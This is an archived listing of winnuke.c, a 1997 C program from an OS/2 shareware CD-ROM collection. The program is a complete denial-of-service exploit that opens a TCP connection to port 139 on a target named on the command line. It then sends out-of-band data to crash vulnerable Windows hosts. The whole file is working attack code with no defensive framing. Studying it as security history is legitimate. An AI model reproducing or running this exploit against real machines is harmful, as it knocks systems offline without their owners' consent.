home *** CD-ROM | disk | FTP | other *** search
/ OS/2 Shareware BBS: 8 Other / 08-Other.zip / winnuke.zip / WINNUKE.C next >
C/C++ Source or Header  |  1997-05-11  |  2KB  |  72 lines

  1.  
  2. /* winnuke.c - (05/07/97)  By _eci  */
  3. /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
  4.  
  5.  
  6. #include <stdio.h>
  7. #include <string.h>
  8. #include <netdb.h>
  9. #include <netinet/in.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <unistd.h>
  13.  
  14. #define dport 139  /* Attack port: 139 is what we want */
  15.  
  16. int x, s;
  17. char *str = "Bye";  /* Makes no diff */
  18. struct sockaddr_in addr, spoofedaddr;
  19. struct hostent *host;
  20.  
  21.  
  22. int open_sock(int sock, char *server, int port) {
  23.      struct sockaddr_in blah;
  24.      struct hostent *he;
  25.      bzero((char *)&blah,sizeof(blah));
  26.      blah.sin_family=AF_INET;
  27.      blah.sin_addr.s_addr=inet_addr(server);
  28.      blah.sin_port=htons(port);
  29.  
  30.  
  31.     if ((he = gethostbyname(server)) != NULL) {
  32.         bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
  33.     }
  34.     else {
  35.          if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
  36.            perror("gethostbyname()");
  37.            return(-3);
  38.          }
  39.     }
  40.  
  41.         if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
  42.              perror("connect()");
  43.              close(sock);
  44.              return(-4);
  45.         }
  46.         printf("Connected to [%s:%d].\n",server,port);
  47.         return;
  48. }
  49.  
  50.  
  51. void main(int argc, char *argv[]) {
  52.  
  53.      if (argc != 2) {
  54.        printf("Usage: %s <target>\n",argv[0]);
  55.        exit(0);
  56.      }
  57.  
  58.      if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
  59.         perror("socket()");
  60.         exit(-1);
  61.      }
  62.  
  63.      open_sock(s,argv[1],dport);
  64.  
  65.  
  66.      printf("Sending crash... ");
  67.        send(s,str,strlen(str),MSG_OOB);
  68.        usleep(100000);
  69.      printf("Done!\n");
  70.      close(s);
  71. }
  72.